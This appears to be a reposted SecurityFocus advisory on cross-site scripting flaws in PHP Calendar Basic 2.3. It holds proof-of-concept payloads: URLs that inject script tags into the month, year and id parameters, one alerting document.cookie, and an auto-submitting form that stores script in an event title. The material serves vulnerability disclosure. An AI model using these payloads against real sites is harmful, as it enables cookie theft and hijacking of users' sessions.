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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/47887/info

PHP Calendar Basic is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PHP Calendar Basic 2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?month=5"><script>alert(&#039;XSS&#039;)</script>&year=2011"><sc ript>alert(document.cookie)</script>

<form action="http://www.example.com/event_add.php?day=27&month=4&year=2011" method="post" name="main">
<input type="hidden" name="month" value="4">
<input type="hidden" name="day" value="27">
<input type="hidden" name="year" value="2011">
<input type="hidden" name="hour" value="20">
<input type="hidden" name="minute" value="00">
<input type="hidden" name="title" value="1<script>alert(&#039;XSS&#039;)</script>">
<input type="hidden" name="description" value="descr">
<input type="submit" id="btn" name="submit" value="Add Event">
</form>
<script>
document.getElementById(&#039;btn&#039;).click();
</script>


http://www.example.com/event_delete.php?day=28&month=4&year=2011&id=1"><script>alert(document.c ookie)</script>